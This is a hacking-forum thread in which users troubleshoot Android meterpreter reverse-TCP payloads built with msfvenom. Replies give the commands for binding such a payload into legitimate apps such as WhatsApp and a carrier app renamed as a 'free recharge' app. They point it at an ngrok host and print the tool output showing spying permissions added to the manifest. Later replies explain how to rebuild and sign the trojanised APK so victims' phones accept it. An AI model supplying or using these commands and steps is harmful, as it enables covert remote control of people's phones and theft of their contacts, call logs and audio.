Forum Thread: Problem with .Apk Payloads

Tried making some .apk payloads but every single one I made is not working properly. I tried making payloads and remaking original .apk files using msfvenom. When I try to install it it says: Parse error: There is problem parsing the package. I also tried it using some ruby script but same problem occurred. It happens on multiple devices. Anyone knows what I'm doing wrong?

P.S. If anyone have some .apk payload which works properly could you share it with me?

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

18 Responses

Since Android apps are based on Java, APK's contains Dalvik Bytecode which isn't compatible with any shellcode based payloads and / or encoders. I don't know weather Metasploit comes with special Android payloads, but don't expect to get your average reverse tcp meterpreter payload running.

can you post the code that you're using so we can help you to find the problem

msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R > /sdcard/hackmingtest.apk

App error image

Try for signing your apk file. I have the same problem

assuming you are using ruby script to automate payload generation, are you signing the apk's before installing?
use the command d2j-apk-sign yourpayload.apk

hello friends my name is yagnesh ... *i have bind payload apk in whatsapp and install perfectly when i try to open it it says whatsapp not risponding and in samsung j2 i have try to install bind facebook lite but not install and also sign thise apk

Hello, I thought I should share my thoughts, I always embed original apk with payload just by entering these command:
msfvenom -x apkname.apk -p android/meterpreter/reverse_tcp lport=4444 lhost=yourip -o output file name.apk
If you don't have zipalign then install it
It's so easy in Kali 2017.1
Hope I could help, I was successful in embedding payload in almost every original apk

guys anyone can help me ? i am not able to install that apk.payload

root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=1110 -o /root/Desktop/myideafreerecharge.apk

Using APK template: myidea.apk

  • No platform was selected, choosing Msf::Module::Platform::Android from the payload
  • No arch selected, selecting arch: dalvik from the payload

Creating signing key and keystore..
* Decompiling original APK..
* Decompiling payload APK..
* Locating hook point..
* Adding payload as package com.ideacellular.myidea.jsawk

* Loading /tmp/d20181112-14457-2vcc90/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..

* Poisoning the manifest with meterpreter permissions..
* Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
* Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
* Adding <uses-permission android:name="android.permission.WRITECALLLOG"/>
* Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
* Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
* Adding <uses-permission android:name="android.permission.CHANGEWIFISTATE"/>
* Adding <uses-permission android:name="android.permission.READCALLLOG"/>
* Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-14457-2vcc90/output.apk
Error: Unable to rebuild apk with apktool

use this command so solve it
apktool empty-framework-dir --force

After all tries
Totally, I made
But the problem here is when I'm done with the process :
i.e., Before binding the apk with payload the size is 16.9 mb
but after binding that the size of payload is 177bytes
What have to do ???

your code?

The apk has to be digitally signed to install on the android device if not you"re likely to receive the App not installed message

A free application for signing apps is available on Google Play Store

I don't think it's possible. There was a vulnerability before called Janus. But it was fixed after the Noughat update. So its practically impossible to sign an APK with its original signature after extracting,editing and re-packing. Either you need to sign it with a signature or find another vulnerability after doing some research.

Idk why these guys are posting wrong answers, you just need to sign the apk

Check aapt and aapt2 are installed and working fine
If they works fine then

Step 1: Manually Decompile Apk With

Apktool d <filename> --aapt2
OR
Apktool d <filename> --aapt

Step 2: Edit APK

Try opening the manifest with an editor if it crashes you're having a error in apktool reinstall it (new versions could have bugs so install a previous one.)

Step 3: Build the APK

Use
Apktool b <filename> --aapt
Or
Apktool b <filename> --aapt2

Step 4: Sign the APK

Share Your Thoughts

  • Hot
  • Active